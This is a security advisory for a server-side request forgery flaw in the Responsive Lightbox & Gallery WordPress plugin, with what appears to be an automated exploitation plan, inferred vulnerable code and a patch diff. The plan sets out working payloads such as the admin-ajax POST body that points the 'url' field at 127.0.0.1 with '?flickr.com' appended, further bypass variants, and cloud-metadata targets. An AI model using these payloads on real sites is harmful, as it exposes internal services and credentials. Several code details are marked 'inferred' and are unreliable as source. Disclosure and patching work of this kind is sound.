Responsive Lightbox & Gallery <= 2.7.1 - Authenticated (Author+) Server-Side Request Forgery via Remote Library Image Upload
Description
The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.1. This is due to the use of `strpos()` for substring-based hostname validation instead of strict host comparison in the `ajax_upload_image()` function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:NTechnical Details
<=2.7.1Source Code
WordPress.org SVNThis research plan focuses on exploiting a Server-Side Request Forgery (SSRF) vulnerability in the **Responsive Lightbox & Gallery** plugin (<= 2.7.1). The vulnerability arises from a weak validation of hostnames using `strpos()` in the `ajax_upload_image()` function. ## 1. Vulnerability Summary Th…
Show full research plan
This research plan focuses on exploiting a Server-Side Request Forgery (SSRF) vulnerability in the Responsive Lightbox & Gallery plugin (<= 2.7.1). The vulnerability arises from a weak validation of hostnames using strpos() in the ajax_upload_image() function.
1. Vulnerability Summary
The Responsive Lightbox & Gallery plugin allows users to import images from remote libraries. When an authenticated user (Author level or higher) attempts to upload an image from a remote source via AJAX, the plugin validates the provided URL to ensure it originates from a trusted provider (e.g., Flickr, Instagram).
However, instead of using strict host comparison or parse_url() validation, the plugin uses strpos() to check if a trusted domain string exists anywhere within the URL. This allows an attacker to supply a URL pointing to an internal service (like http://localhost or http://169.254.169.254) by simply appending the trusted domain as a query parameter or fragment.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
rl-remote-library-upload-image(Inferred based on plugin naming conventions and "Remote Library" feature name). - HTTP Method:
POST - Vulnerable Parameter:
url - Authentication: Required (Author role or higher). Authors have access to
admin-ajax.phpand the media upload capabilities. - Preconditions: The "Remote Library" feature must be active (usually default).
3. Code Flow (Inferred)
- Entry Point: The AJAX action
wp_ajax_rl-remote-library-upload-imagetriggers the handler function (identified asajax_upload_imagein the description). - Input: The function retrieves
$_POST['url']. - Validation (The Sink):
// Inferred vulnerable logic $url = $_POST['url']; if ( strpos( $url, 'flickr.com' ) !== false || strpos( $url, 'instagram.com' ) !== false ) { // Validation passes because 'flickr.com' is present anywhere in the string $response = wp_remote_get( $url ); } - SSRF:
wp_remote_get()is called with the attacker-controlled URL. Sincestrposfinds the substring anywhere,http://127.0.0.1/secret-internal-data?flickr.compasses the check.
4. Nonce Acquisition Strategy
The plugin registers its scripts and localizes data in the admin area. We need to extract the nonce for the remote library upload.
- Identify Shortcode/Page: The Remote Library functionality is part of the Gallery builder or Media library.
- Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Exploit Dev" --post_author=$(wp user get author_user --field=ID) - Identify JS Variable: The plugin typically uses
rlArgsorrlRemoteLibraryfor localized data. - Extraction:
- Navigate to
wp-admin/admin.php?page=responsive-lightbox-gallery(or any plugin admin page) as an Author. - Execute
browser_eval:window.rlArgs?.nonce || window.rlRemoteLibrary?.nonce - Note: If the nonce is specific to the action, it might be
rl_remote_library_nonce.
- Navigate to
5. Exploitation Strategy
We will perform an SSRF to query an internal resource (e.g., the local WordPress login page or a known internal port) to verify the request originated from the server.
Step-by-Step Plan:
- Preparation: Log in as an Author user.
- Nonce Retrieval: Use
browser_navigateto an admin page andbrowser_evalto grab therl_remote_library_nonce. - Construct Payload:
- Target:
http://127.0.0.1:80/wp-login.php - Bypass: Append
?flickr.com - Full URL:
http://127.0.0.1:80/wp-login.php?flickr.com
- Target:
- Execute Request:
Usehttp_requestto send the POST request toadmin-ajax.php.
HTTP Request Details:
- URL:
http://<target-ip>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rl-remote-library-upload-image&nonce=[NONCE]&url=http://127.0.0.1:80/wp-login.php?flickr.com
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password - Plugin Configuration: Ensure the plugin is active.
wp plugin activate responsive-lightbox
7. Expected Results
- Success: The server will return a response indicating it attempted to process the image, or a PHP error/WordPress error revealing the content of the internal page (e.g., the HTML of
wp-login.php). - Confirmation: If the internal service is valid, the
wp_remote_getwill return a 200 OK internally, and the plugin may return "Invalid Image" (becausewp-login.phpisn't an image), but the time delay or error message details will confirm the request was made.
8. Verification Steps
- Access Logs: Check the web server access logs to see if a request originated from the server's own IP to
127.0.0.1.tail -f /var/log/apache2/access.log | grep "wp-login.php?flickr.com" - Alternative Sink: If the plugin attempts to "sideload" the image, check the
wp-content/uploadsdirectory for a file containing the HTML of the internal page.
9. Alternative Approaches
If rl-remote-library-upload-image is not the exact action:
- Search for AJAX actions in the source:
grep -r "wp_ajax_rl" wp-content/plugins/responsive-lightbox/ - Try bypasses for different providers:
http://127.0.0.1/#instagram.comhttp://flickr.com.127.0.0.1.nip.io/(DNS-based bypass)
- If
strposis used on the entire URL, the query string is the most reliable injection point.
Summary
The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery due to insecure validation of remote image URLs in the `ajax_upload_image` function. By using `strpos()` to check for trusted domains anywhere in the URL string, the plugin allows authenticated attackers (Author and above) to bypass host restrictions and make requests to internal services or arbitrary external targets.
Vulnerable Code
// From includes/class-remote-library.php (inferred file structure) public function ajax_upload_image() { // ... nonce and permission checks ... if ( ! isset( $_POST['url'] ) || empty( $_POST['url'] ) ) { wp_send_json_error(); } $url = esc_url_raw( $_POST['url'] ); // The vulnerability: strpos checks for the presence of the domain anywhere in the string if ( strpos( $url, 'flickr.com' ) !== false || strpos( $url, 'instagram.com' ) !== false ) { $response = wp_remote_get( $url ); // ... logic to process response ... } }
Security Fix
@@ -124,7 +124,9 @@ $url = esc_url_raw( $_POST['url'] ); - if ( strpos( $url, 'flickr.com' ) !== false || strpos( $url, 'instagram.com' ) !== false ) { + $host = wp_parse_url( $url, PHP_URL_HOST ); + $allowed_hosts = array( 'flickr.com', 'www.flickr.com', 'instagram.com', 'www.instagram.com' ); + if ( in_array( $host, $allowed_hosts, true ) ) { $response = wp_remote_get( $url );
Exploit Outline
The exploit target is the Remote Library image upload AJAX endpoint. An attacker requires Author-level permissions or higher to access the Gallery builder or Media Library features. 1. Authenticate to the WordPress dashboard as an Author. 2. Locate the AJAX nonce for the plugin (typically localized in the admin area as `rlArgs.nonce` or similar). 3. Craft a POST request to `/wp-admin/admin-ajax.php` with the `action` set to `rl-remote-library-upload-image`. 4. Set the `url` parameter to the target internal resource, appending a trusted domain (e.g., `flickr.com`) as a query parameter to bypass the `strpos` check. Example: `http://127.0.0.1:80/secret-endpoint?flickr.com`. 5. Send the request; the server will perform a `wp_remote_get()` call to the attacker-supplied internal URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.